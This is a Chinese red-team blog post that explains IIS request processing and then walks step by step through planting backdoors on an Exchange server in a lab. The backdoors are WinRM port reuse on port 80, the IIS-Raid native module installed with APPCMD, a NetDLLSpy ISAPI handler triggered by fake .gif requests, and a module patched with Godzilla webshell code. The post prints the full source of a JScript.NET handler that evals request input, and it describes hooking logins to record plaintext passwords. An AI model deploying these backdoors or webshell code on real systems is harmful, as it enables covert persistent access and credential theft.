DotNet安全-IIS请求流程及渗透测试中的应用
引言
提及.net安全我们绕不开对iis的研究,复杂的.net应用往往除了像传统web应用有index.*或mvc中有路由控制器等概念存在,还包含module,hanlder,application等概念的存在。对于iis的配置也是比较复杂的。通过这篇文章,我们希望能明确iis是如何处理一个请求,并了解在请求的过程中有哪些技术可以在渗透测试中应用。 微软官方给出的IIS Request Processing给出几点简单的说明,其中包含几个关键部分:
HTTP.sys
这个名词相信大家都不陌生,AWVS扫描的报告里经常会出现HTTP.sys远程代码执行漏洞,而利用结果就是打蓝屏,一般也不会去测试。微软官方在Introduction to IIS Architectures对HTTP.sys的介绍:
我们可以得到一些有效信息,如:1.网络请求到达HTTP.sys之后,经过一系列处理,再交由IIS进行处理。2.http.sys工作在内核上,性能很高。
w3wp.exe
请求进入iis的请求队列后,交由对应的w3wp.exe进程进行处理,如下图:
W3wp根据请求的文件后缀,判断类型后,交由不同的逻辑进行处理,也就是最上面提及的ASP,ISAPI,CGI等。在这之前还有对请求的一系列处理,包括匿名请求处理,日志记录等。W3WP相关的配置一般在C:WindowsSystem32inetsrvconfigapplicationHost.config,我们在
ISAPI
同样在applicationHost.config里我们可以看到将.aspx文件交由isapi进行处理:
Aspnet_isapi.dll由c编写,为iis的模块。我们在.net目录C:WindowsMicrosoft.NETFramework64v4.0.30319Config下也可以看到一个web.config,其中也有isapi的映射关系:
对应后缀对应c#的一些type,相对操作空间大一些。
module和hanlder
在上面我们可以看到对于.aspx文件最后由System.Web.UI.PageHandlerFactory进行处理,该类根据后缀生成对应的webhanlder来处理请求。对于hanlder我们也不会陌生,常见的ashx就是通过继承handler来实现的。此外我们发现配置文件中还有很多modules的存在。关于module和handler的关系,微软也有明确说明:
每个请求都会经过多个module来处理,最后交由一个handler进行处理。结合前面默认module所带的功能,我们能感觉到module一般是做类似修饰请求、预检请求之类的工作。
确实如此,但笔者之前这里有一个误区,以前一直以为module在hanlder之前触发,现在看来都能触发。也就是说module也可以修改响应包。 配置文件中module的格式:
<httpModules>
<add type="[COM+ Class], [Assembly]" name="[ModuleName]" />
<remove type="[COM+ Class], [Assembly]" name="[ModuleName]" />
<clear />
</httpModules>
配置文件中hanlder的格式:
<httpHandlers>
<add verb="[verb list]" path="[path/wildcard]" type="[COM+ Class], [Assembly]" validate="[true/false]" />
<remove verb="[verb list]" path="[path/wildcard]" />
<clear />
</httpHandlers>
此外还有Application的概念:
我们可以看到继承了IhttpAsyncHanlder和IHttpHanler,实际上最终也是hanlder。 包括Page对象,同样继承了handler,这在冰蝎中也有应用
小结
IIS整体的请求如下图:
1.用户访问请求到达HTTP.SYS。2.通过svchost.exe加载applicationhost.config,其中包括请求预处理的module和iaspi映射关系 3.经过w3wp执行modules,移交给.net进行处理。 对应版本的.net根据自身配置定义isapi,加载修饰请求的module移交给对应的hanlder进行处理。
在渗透测试中的应用
HTTP.SYS 后门
主要是可以和iis进行端口复用。注册一个新的url端点不影响原本iis web应用的使用,下面是几种利用方式: 1.修改横向移动手段winrm的默认端口为443与IIS进行端口复用,实现隐蔽后门:https://paper.seebug.org/1692/ 2.通过c#反序列化漏洞直接植入listener内存后门:https://www.zcgonvh.com/post/analysis_of_CVE-2020-17144_and_to_weaponizing.html 3.DotNet core 端口复用样例:https://docs.microsoft.com/en-us/aspnet/core/fundamentals/servers/httpsys?view=aspnetcore-6.0
IIS模块后门[T1505]
在http.sys处理完后交给iis模块处理,主要由c++实现,可hook所有到达iis的请求:https://github.com/0x09AL/IIS-Raid 配置方法主要通过修改C:WindowsSystem32inetsrvconfigapplicationHost.config或appcmd命令实现。 以前好像看过文章很多黑产团队喜欢用这种后门,因为可以进行定制化的功能。比如判断ua或者源ip等条件,符合条件才响应,否则是正常的功能。一些应急响应的案例:https://www.wangan.com/p/7fy7fx50f86cc16b https://www.wangan.com/p/7fygf3190c55a165 目前该方法已被att&ck归类:https://attack.mitre.org/techniques/T1505/004/
.net ISAPI 后门[T1505]
在.net处理层面修改某后缀处理的hanlder:https://github.com/Ivan1ee/NetDLLSpy 配置方法主要通过修改对应版本的.net配置文件C:WindowsMicrosoft.NETFrameworkv4.0.30319Configweb.config实现。 目前该方法已被att&ck归类:https://attack.mitre.org/techniques/T1505/004/
.net module后门
除了在iis的配置上做手脚,web应用本身也支持module的功能修饰请求:https://github.com/WBGlIl/IIS_backdoor 主要通过将该dll放入web应用的dll目录,并修改目录下的web.config的modules属性配置。 使用C#开发IIS模块后门:https://y4er.com/posts/using-csharp-to-develop-the-iis-module-backdoor/#
总结
从部署后门的角度考虑,我们需要明白每个后门在什么环节触发,找到合适的方法才能在不影响网站功能的情况下hook请求或实现隐蔽后门。 这些手段不仅仅实现后门功能,hook请求在红队活动中也有很大作用。我们可以hook登录请求从而记录用户的明文密码,这种方式比js挂马的记录更隐蔽。 从代码审计的角度考虑,我们除了要关注web目录下的文件,要明白请求还经过iis的module,c#的module,应用的module三重额外修饰。甚至有些应用完全依靠module来实现,比如Microsoft exchange Server。
0x01 基于端口复用的WinRM后门
WinRM后门介绍
Windows 远程管理是 Windows 硬件管理功能的一个组件,通过该组件,可以对Windows 主机进行远程管理,因为WinRM基于http作为底层数据交换,所以流量会经过http.sys驱动。而通过http.sys的特性可以实现端口复用,从而将WinRM后门隐藏在正常的web通讯中。
WinRM 后门的搭建
目标机器:windows2012,Win2012及以上版本中默认开启了WinRM服务
http.sys可以使用相同的端口,只需要他们的网址前缀(urlprefixes)不相同,即可做到端口复用。使用下面的语句可以查看当前http.sys中注册的所有网址前缀。 netsh http show servicestate | findstr /r "Server Session HTTP"
通过下图,表明存在三个网址前缀,其中5985为WinRM服务所建立的前缀,80端口为IIS中默认页面的网址前缀。
基于http.sys的端口共享的特性只需要将WinRM的端口修改为80端口,即可做到端口复用。
修改WinRM服务的端口为80 winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
通过再次查看网址前缀,发现已经修改为80/WSMAN
此时通过在浏览器中访问80端口,即可访问到IIS页面,而通过winRM的客户端,即可通过80端口使用wirm执行远程Windows系统命令。
0x02 IIS模块后门:IIS-Raid
根据《IIS请求流程和渗透测试中的应用》中讲解,在IIS处理web请求的时候,先通过http.sys处理之后,再到后面的svchost和w3wp进行处理。那么根据处理流程, 在http.sys处理完后交给iis模块处理,主要由c++实现,可hook所有到达iis的请求。
2.1 构建
项目地址:https://github.com/0x09AL/IIS-Raid
一、自定义密码
在Function.h中的PASSWORD字段,默认密码为SIMPLEPASS
防止自己布置的后门被其他人利用,尝试修改成自己的密码。
二、DLL编译
Visual Studio 2017 打开之后 文件-打开-项目/解决方案,选择 IISRaid-modules-IIS-Backdoor.vcxproj
注意:
选中项目出现以下问题的时候,需要选择 项目-属性,修改 平台工具集选择Visual Studio 2017 (v141),应用-确定。
修改完成之后即可完成编译。
在x64-Relese下找到该编译成功的dll后门。
成功编译。
2.2 DLL部署(能命令执行的情况)
在192.168.91.20的exchange上留一个蚁剑的shell
连接的时候注意勾选忽略https证书。上传编译好的dll文件。
shell执行
C:Windowssystem32inetsrvAPPCMD.EXE install module /name:Module /image:"c:IIS-Backdoor.dll" /add:true
此时,即完成dll部署。
尝试客户端连接服务端。
python3 iis_controller.py --url htts://192.168.91.20 --password SIMPLEPASS
此时脚本执行报错。原因是原始的项目脚本中没有针对证书做验证,简单修改一下代码,忽略证书认证。
解决方案一
在50和52行的GET和POST请求后加上verify=False以忽略https证书。如下图:
此时再去执行脚本。成功执行。
解决方案二
因为这个请求在http.sys这一步被hook,就是iis是正常的话,无所谓证书与否。命令改为
python3 iis_controller.py --url http://192.168.91.20 --password SIMPLEPASS
代码判断状态码不为200就退出,判断逻辑存在问题,403是应用程序给的响应,但是iis后门只需要iis能正常运行即可使用,所以删掉这段判断逻辑。
修改完连接成功并执行命令成功。
在执行结果带中文的时候,脚本会报错,主要是因为python3的原因,可以将此处的utf-8改为gb2312
正常执行。
密码记录
该后门还有一个记住密码的功能,主要是对POST请求发送的数据进行记录,记录在C:\Windows\Temp\creds.db
但是因为exchange的请求不是常规的基于表单的认证,basic或ntlm认证,所以这里curl发送一个post请求
在exchange服务器上出现该新增文件。
同时后门也能进行记录的获取。
0x03 .net ISAPI 后门
项目地址:https://github.com/Ivan1ee/NetDLLSpy
3.1 操作环境
操作环境:server 2016 + exchange 以exchange的owa模块来部署后门 部署路径
C:Program FilesMicrosoftExchange ServerV15FrontEndHttpProxyowaauth
新建bin目录,将项目中已经编译好的dll放入。
在该路径下新建一个web.config文件,文件内容
在iis的映射管理来看,恶意的dll伪装成正常的功能
此时在auth下访问任意的gif文件(只要结尾是gif即可)
尝试使用dll功能
https://192.168.91.20/owa/auth/1.gif?a=c&p=cmd.txt&c=ipconfig
图片显示正常
在服务器目录下生成了一个cmd.txt
内容为我们执行的ipconfig的命令结果
3.2 完成antsword的连接
与上一步操作大同小异 自己编译一下c#代码
import System;
import System.Web;
import System.IO;
package IsapiModu1e
{
public class Handler implements IHttpHandler
{
function IHttpHandler.ProcessRequest(context : HttpContext)
{
context.Response.Write("If i am DJ,Will u love me")
var I = context; var Request = I.Request; var Response = I.Response; var Server = I.Server; eval(context.Request[1]); } function get IHttpHandler.IsReusable() : Boolean{ return true}}}
C:WindowsMicrosoft.NETFrameworkv4.0.30319jsc.exe /t:library -out:C:UsersAdministratorDesktopIsapiModu1e.Handler.dll C:UsersAdministratorDesktopIsapiModu1e.Handler.js
编译成dll文件,并放在owa的bin文件夹下。
修改auth目录下的web.config文件
访问 https://192.168.91.20/owa/auth/xxxxx.gif
蚁剑直接连接
0x04 .net module后门(适配哥斯拉)
之前完成了IIS-RAID后门的实验,除了在iis的配置上做手脚,web应用本身也支持module的功能修饰请求。 https://github.com/WBGlIl/IIS_backdoor
xxx
原始项目的部分代码,如上图。主要在部署完dll之后,通过cookie的值中获取命令值,是cmd还是powershell,还是加载shellcode。最简单在这个逻辑之前插入一段哥斯拉代码来适配哥斯拉客户端,客户端能直接连接。生成原始的哥斯拉的aspx后门,密钥密码加密方式都是默认。
直接插入到原始项目的逻辑之前。注意修改哥斯拉shell中的Context变量名称和原始函数中定义的统一。
之后直接编译成dll,在exchange的owa目录下新建一个bin文件夹。将dll上传
修改web.config内容,在<add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" />
之后访问我们的exchange的owa/auth接口 浏览器报500,表示dll已经成功加载。
此时直接通过哥斯拉客户端去连接。
成功连接。
原文始发于微信公众号(7bits安全团队):DotNet安全-IIS请求流程及渗透测试中的应用